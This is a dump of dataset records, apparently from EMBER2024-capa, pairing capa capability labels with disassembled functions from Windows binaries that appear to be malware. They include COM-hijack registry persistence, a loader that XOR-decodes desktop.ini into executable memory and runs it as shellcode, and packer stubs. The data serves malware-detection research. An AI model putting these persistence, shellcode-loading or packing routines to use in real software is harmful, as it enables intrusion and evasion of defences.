joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000108f
Capabilities:
Accept command line arguments
Persist via com hijack
Set registry value

Disassembly:
push ebp
push edi
push esi
mov ebp, esp
sub esp, 0x210
push 0x104
push ebp
add dword [esp], 0xfffffdf0
push dword [section.data]
call sub.KERNEL32.dll_GetModuleFileNameA
cmp eax, 0x104
jae 0x10001289
inc eax
mov dword [ebp - 4], eax
lea edi, [ebp - 0x10c]
push 0x100051d7
push 0x10005185
push 0x100051cb
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x10
call sub.KERNEL32.dll_GetCommandLineA
mov esi, eax
push esi
call sub.KERNEL32.dll_lstrlenA
mov ecx, eax
xor eax, eax
shl eax, 8
lodsb al, byte [esi]
cmp eax, 0x202f6920
je 0x10001273
cmp eax, 0x202f4920
je 0x10001273
loop 0x100010f0
lea esi, [ebp - 8]
push 0
push esi
push 0
push 0x20006
push 0
push 0
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegCreateKeyExA
cmp eax, 0
jne 0x10001282
lea eax, [ebp - 0x210]
push dword [ebp - 4]
push eax
push 1
push 0
push 0
push dword [esi]
call sub.ADVAPI32.dll_RegSetValueExA
cmp eax, 0
jne 0x10001282
mov eax, 0x100051f5
push 5
push eax
push 1
push 0
push 0x100051e6
push dword [esi]
call sub.ADVAPI32.dll_RegSetValueExA
cmp eax, 0
jne 0x10001282
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
push 0x100051d1
push 0x10005141
push 0x100051cb
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x10
push 0
push esi
push 0
push 0x20006
push 0
push 0
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegCreateKeyExA
cmp eax, 0
jne 0x10001282
mov eax, 0x1000511a
push 0x27
push eax
push 1
push 0
push 0
push dword [esi]
call sub.ADVAPI32.dll_RegSetValueExA
cmp eax, 0
jne 0x10001282
mov edx, 0x100051c3
push 0
push 0
push 1
push 0
push edx
push dword [esi]
call sub.ADVAPI32.dll_RegSetValueExA
cmp eax, 0
jne 0x10001282
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
push 0x100051d1
push 0x10005164
push 0x100051cb
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x10
push esi
push 1
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
je 0x10001266
push 0
push esi
push 0
push 0x20006
push 0
push 0
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegCreateKeyExA
cmp eax, 0
jne 0x10001282
mov eax, 0x1000511a
push 0x27
push eax
push 1
push 0
push 0
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegSetValueExA
cmp eax, 0
jne 0x10001282
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
mov esp, ebp
pop esi
pop edi
pop ebp
ret
mov dword [0x10004004], 0x80000001
jmp 0x1000110c
mov eax, 0x80040201
jmp 0x1000126d
mov eax, 0x8007000e
jmp 0x1000126d
Function at 0x10001290
Capabilities:
Delete registry key
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
push edi
push esi
mov ebp, esp
sub esp, 0x110
push 0x10005185
push dword [0x10004004]
call sub.SHLWAPI.dll_SHDeleteKeyA
cmp eax, 0
jne 0x100013f3
lea edi, [ebp - 0x110]
push 0x100051d1
push 0x10005141
push 0x100051cb
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x10
lea esi, [ebp - 4]
push esi
push 0xf003f
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x100013f3
mov edx, 0x100051c7
push 0
push 0
push 0
push 0
push edx
push dword [esi]
call sub.ADVAPI32.dll_RegQueryValueExA
cmp eax, 2
je 0x10001337
cmp eax, 0
jne 0x100013f3
mov edx, 0x100051c3
push edx
push dword [esi]
call sub.ADVAPI32.dll_RegDeleteValueA
cmp eax, 0
jne 0x100013f3
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
jmp 0x100013ed
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
push 0x10005141
push dword [0x10004004]
call sub.SHLWAPI.dll_SHDeleteKeyA
cmp eax, 0
jne 0x100013f3
push 0x100051d1
push 0x10005164
push 0x100051cb
push edi
call sub.USER32.dll_wsprintfA
add esp, 0x10
push esi
push 1
push 0
push edi
push dword [0x10004004]
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x100013f3
mov dword [ebp - 8], 1
lea edx, [ebp - 0xc]
mov dword [edx], 0x27
mov eax, 0x10004038
push edx
push eax
push ebp
add dword [esp], 0xfffffff8
push 0
push 0
push dword [esi]
call sub.ADVAPI32.dll_RegQueryValueExA
cmp eax, 0
jne 0x100013f3
push dword [esi]
call sub.ADVAPI32.dll_RegCloseKey
push 0x10004038
push 0x1000511a
call sub.KERNEL32.dll_lstrcmpiA
test eax, eax
mov eax, 0
jne 0x100013ed
push 0x10005164
push dword [0x10004004]
call sub.SHLWAPI.dll_SHDeleteKeyA
cmp eax, 0
jne 0x100013f3
mov esp, ebp
pop esi
pop edi
pop ebp
ret
mov eax, 0x80040201
jmp 0x100013ed
Function at 0x1000318c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, esp
sub esp, 0x254
mov eax, 0x4b0
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x1000322e
mov ebx, dword [esi]
cmp ebx, 0x77
je 0x1000322e
xor eax, eax
cmp ebx, 0x73
je 0x1000322e
inc eax
cmp ebx, 0x7a
je 0x1000322e
cmp ebx, 0x700063
je 0x100031fc
cmp ebx, 0x500043
je 0x100031fc
mov edi, 0x10005934
mov ecx, dword [0x100059dc]
push ecx
add edi, 0x1c
lea ecx, [edi + 4]
push esi
push ecx
call sub.KERNEL32.dll_lstrcmpiW
test eax, eax
pop ecx
loopne 0x100031e3
jne 0x10003238
mov eax, dword [edi]
jmp 0x1000322e
add esi, 4
push esi
call sub.SHLWAPI.dll_StrToIntW
test eax, eax
je 0x1000322e
cmp eax, 1
je 0x1000322e
cmp eax, 0x4b0
je 0x1000322e
cmp eax, 0x4b1
je 0x1000322e
mov ebx, eax
push eax
call sub.KERNEL32.dll_IsValidCodePage
test eax, eax
je 0x100032ff
mov eax, ebx
clc
mov esp, ebp
pop esi
pop edi
pop ebx
pop ebp
ret 4
push esi
call sub.KERNEL32.dll_lstrlenW
cmp eax, 0xed
ja 0x100032ff
push esi
push 0x100059e0
push 0x10005a0e
push ebp
add dword [esp], 0xfffffdac
call sub.USER32.dll_wsprintfW
add esp, 0x10
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebp
add dword [esp], 0xfffffdac
push 0x80000000
call sub.ADVAPI32.dll_RegOpenKeyExW
cmp eax, 0
jne 0x100032ff
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x4c], 4
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x48]
push edx
push eax
push ebp
add dword [esp], 0xffffffb4
push 0
push 0x10005a18
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegQueryValueExW
cmp eax, 0
jne 0x100032c6
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
mov eax, dword [ebp - 0x44]
jmp 0x10003205
mov dword [ebp - 0x4c], 1
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x48]
push edx
push eax
push ebp
add dword [esp], 0xffffffb4
push 0
push 0x10005a3a
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegQueryValueExW
mov ebx, eax
lea esi, [ebp - 0x44]
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
cmp ebx, 0
je 0x10003238
mov edx, 0x40d
mov eax, 0x80070057
stc
jmp 0x1000322f

Function at 0x100033e7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebp, esp
push 0x10004020
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [ebp + 0x14]
mov edi, dword [ebp + 0x18]
mov esi, dword [ebx + 0x14]
test esi, esi
je 0x1000342a
mov edx, dword [esi + 8]
sub edx, edi
js 0x1000342a
mov dword [esi + 8], edx
mov eax, dword [esi]
add edi, eax
mov dword [esi], edi
mov ebx, eax
push 0x10004020
call sub.KERNEL32.dll_LeaveCriticalSection
mov eax, ebx
clc
pop esi
pop edi
pop ebx
pop ebp
ret 8
add edi, 0xc
push 0x40
push 0x3000
push edi
push 0
call sub.KERNEL32.dll_VirtualAlloc
test eax, eax
je 0x10003462
mov dword [eax + 4], esi
mov dword [ebx + 0x14], eax
mov esi, eax
push dword [0x10004064]
push edi
call fcn.1000349c
sub eax, edi
mov dword [esi + 8], eax
add edi, esi
mov dword [esi], edi
lea eax, [esi + 0xc]
jmp 0x10003414
push 0x10004020
call sub.KERNEL32.dll_LeaveCriticalSection
xor edx, edx
mov eax, 0x8007000e
stc
jmp 0x10003423
Function at 0x477e60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x72000]
push edi
jmp 0x477e7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x477e81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x477e70
mov eax, 1
add ebx, ebx
jne 0x477e93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x477e88
jne 0x477ea4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x477e88
xor ecx, ecx
sub eax, 3
jb 0x477eb8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x477f2a
mov ebp, eax
add ebx, ebx
jne 0x477ec3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x477ed0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x477ef4
inc ecx
add ebx, ebx
jne 0x477ee0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x477ed5
jne 0x477ef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x477ed5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x477f14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x477f05
jmp 0x477e76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x477f14
add edi, ecx
jmp 0x477e76
pop esi
mov edi, esi
mov ecx, 0x6800
jmp 0x477f65
mov al, byte [edi]
inc edi
cmp al, 0x80
jb 0x477f45
cmp al, 0x8f
ja 0x477f45
cmp byte [edi - 2], 0xf
je 0x477f4b
sub al, 0xe8
cmp al, 1
ja 0x477f6f
cmp ecx, 4
jb 0x477f74
mov eax, dword [edi]
sub al, 1
jne 0x477f6f
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
sub ecx, 4
stosd dword es:[edi], eax
sub ecx, 1
jb 0x477f74
mov al, byte [edi]
inc edi
jmp 0x477f45
sub ecx, 1
jae 0x477f34
lea edi, [esi + 0x75000]
mov eax, dword [edi]
or eax, eax
je 0x477fc5
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8f5ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8f6a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x477f7a
mov ecx, edi
jns 0x477fa9
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8f6ac]
or eax, eax
je 0x477fbf
mov dword [ebx], eax
add ebx, 4
jmp 0x477f97
call dword [esi + 0x8f6a8]
mov ebp, dword [esi + 0x8f6b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x477ff9
sub esp, 0xffffff80
jmp 0x403640
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001a08
Capabilities:
Encode data using xor

Disassembly:
add al, byte [edx]
stc
inc edi
mov ecx, 0x2f56e508
mov ecx, 0x71e35447
jno 0x100019fb
jno 0x100019fb
push 0x59
clc
or eax, 0xc5ea9428
jg 0xdbdcf8ee
test byte gs:[esi + ecx*8 + 0x2b], dl
mov bh, 0xcb
sbb bl, byte [ebx + 0x64a0a6d1]
inc ecx
out dx, al
enter 0x78ae, 0x34
fbld tbyte [edi + 0x29db3bb8]
stosd dword es:[edi], eax
pop ebx
fsub qword [eax - 0x2d172263]
nop
inc edx
push ebx
jg sym.matrix32.dll_Dongle_SetLedFlag
popfd
enter 0xffffffffffff8730, 0xfffffffffffffff5
std
in al, 0xcd
add edi, eax
mov byte [0xd4f7ee00], al
in al, dx

Function at 0x1043a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1043a1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1043a07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1043a06a
add dl, dl
jne 0x1043a089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1043a0dc
xor eax, eax
add dl, dl
jne 0x1043a096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1043a17d
add dl, dl
jne 0x1043a0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1043a0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1043a0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1043a0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1043a0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1043a075
mov eax, 1
add dl, dl
jne 0x1043a0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1043a0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1043a0e1
sub eax, ebx
mov ebx, 1
jne 0x1043a128
mov ecx, 1
add dl, dl
jne 0x1043a10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1043a119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1043a105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1043a075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1043a13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1043a14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1043a136
cmp eax, 0x7d00
jae 0x1043a16d
cmp eax, 0x500
jb 0x1043a168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1043a075
cmp eax, 0x7f
ja 0x1043a170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1043a075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1043a19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1043a075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x405980
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
call dword [sym.imp.MSVCRT.dll_rand]
test al, 3
jne 0x405a00
mov eax, dword [esp + 8]
push 0x40870c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x405a00
push ebx
push esi
push edi
mov ecx, 0x40d
mov esi, 0x408820
mov edi, 0x42e058
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov ecx, 0x54321cba
mov bl, byte [eax + 0x42e058]
mov edx, ecx
sar edx, 0x17
xor bl, dl
add ecx, 0x1234567f
mov byte [eax + 0x42e058], bl
inc eax
cmp eax, 0x1034
jb 0x4059bf
push ebp
push 0x1034
push 1
push 0x42e058
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401530
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40edc0
push 0x40a812
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor esi, esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp + 8], esi
je 0x401638
mov edx, dword [ebp + 0xc]
cmp edx, esi
je 0x401638
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x1c]
mov ecx, 0x800
call fcn.004014f0
cmp eax, esi
jl 0x40158a
mov ebx, dword [ebp - 0x1c]
add ebx, ebx
jmp 0x40158c
xor ebx, ebx
mov dword [ebp - 0x1c], eax
cmp eax, esi
jl 0x40161b
mov dword [ebp - 4], esi
lea edi, [ebx + 2]
push 0x5354534f
push edi
push esi
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
mov dword [ebp - 0x24], esi
push edi
push 0
push esi
call sub.ntoskrnl.exe_memset
push ebx
mov eax, dword [ebp + 0xc]
push eax
push esi
call sub.ntoskrnl.exe_memmove
add esp, 0x18
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
mov dword [edx], esi
jmp 0x401638
cmp dword [0x410048], 4
jg 0x401631
push str.Failed_to_get_the_SourceString_length_using_the_RtlStringCbLengthW__._n
call sub.ntoskrnl.exe_DbgPrint
add esp, 4
mov dword [ebp - 0x1c], 0xc0000001
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401880
Capabilities:
Print debug messages

Disassembly:
push ecx
xor eax, eax
test ebx, ebx
je 0x4018e8
push esi
push edi
lea edi, [esp + 8]
mov ecx, 0x800
mov edx, ebx
mov dword [esp + 8], eax
call fcn.004014f0
test eax, eax
jl 0x4018a9
mov esi, dword [esp + 8]
add esi, esi
jmp 0x4018ab
xor esi, esi
test eax, eax
jge 0x4018cd
cmp dword [0x410048], 4
jg 0x4018c7
push eax
push ebx
push str.Failed_to_get_the__ws_length.status0x_08x._n
call sub.ntoskrnl.exe_DbgPrint
add esp, 0xc
pop edi
xor eax, eax
pop esi
pop ecx
ret
cmp dword [0x410048], 1
jg 0x4018e4
push esi
push str.Successfully_get_the__ws_length__size_d._n
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
pop edi
mov eax, esi
pop esi
pop ecx
ret
Function at 0x4018f0
Capabilities:
Check os version
Print debug messages

Disassembly:
sub esp, 0x11c
push esi
push 0x118
lea eax, [esp + 0xc]
push 0
push eax
mov esi, 0xf
call sub.ntoskrnl.exe_memset
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
jl 0x401a95
push ebx
mov ebx, 1
cmp dword [0x410048], ebx
jg 0x40195f
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push eax
push str.OsVersion.dwMajorVersion_d_OsVersion.dwMinorVersion_d_OsVersion.dwBuildNumber___d__OsVersion.dwPlatformId_d_OsVersion.szCSDVersion__ws._n
call sub.ntoskrnl.exe_DbgPrint
add esp, 0x18
mov eax, dword [esp + 0x18]
cmp eax, 2
jne 0x401a7d
mov eax, dword [esp + 0xc]
cmp eax, 5
jne 0x4019d3
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x40198a
mov esi, ebx
pop ebx
mov eax, esi
pop esi
add esp, 0x11c
ret
cmp eax, ebx
je 0x4019a0
cmp eax, 2
jne 0x401a94
cmp byte [esp + 0x122], bl
jne 0x4019b0
mov esi, 2
pop ebx
mov eax, esi
pop esi
add esp, 0x11c
ret
xor edx, edx
mov ecx, 0x8000
cmp word [esp + 0x120], cx
pop ebx
sete dl
lea edx, [edx + edx + 3]
mov esi, edx
mov eax, esi
pop esi
add esp, 0x11c
ret
cmp eax, 6
jne 0x401a57
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4019f8
cmp byte [esp + 0x122], bl
pop ebx
setne al
add eax, 6
mov esi, eax
pop esi
add esp, 0x11c
ret
cmp eax, ebx
jne 0x401a18
xor ecx, ecx
cmp byte [esp + 0x122], bl
pop ebx
setne cl
add ecx, 8
mov esi, ecx
mov eax, esi
pop esi
add esp, 0x11c
ret
cmp eax, 2
jne 0x401a39
xor edx, edx
cmp byte [esp + 0x122], bl
pop ebx
setne dl
add edx, 0xa
mov esi, edx
mov eax, esi
pop esi
add esp, 0x11c
ret
cmp eax, 3
jne 0x401a94
cmp byte [esp + 0x122], bl
jne 0x401a94
mov esi, 0xc
pop ebx
mov eax, esi
pop esi
add esp, 0x11c
ret
cmp eax, 0xa
jne 0x401a94
cmp dword [esp + 0x10], 0
jne 0x401a94
xor eax, eax
cmp byte [esp + 0x122], bl
pop ebx
setne al
add eax, 0xd
mov esi, eax
pop esi
add esp, 0x11c
ret
cmp dword [0x410048], 4
jg 0x401a94
push eax
push str.Currently_we_just_support_the_NT_Platform__but_return_the__d_type._n
call sub.ntoskrnl.exe_DbgPrint
add esp, 8
pop ebx
mov eax, esi
pop esi
add esp, 0x11c
ret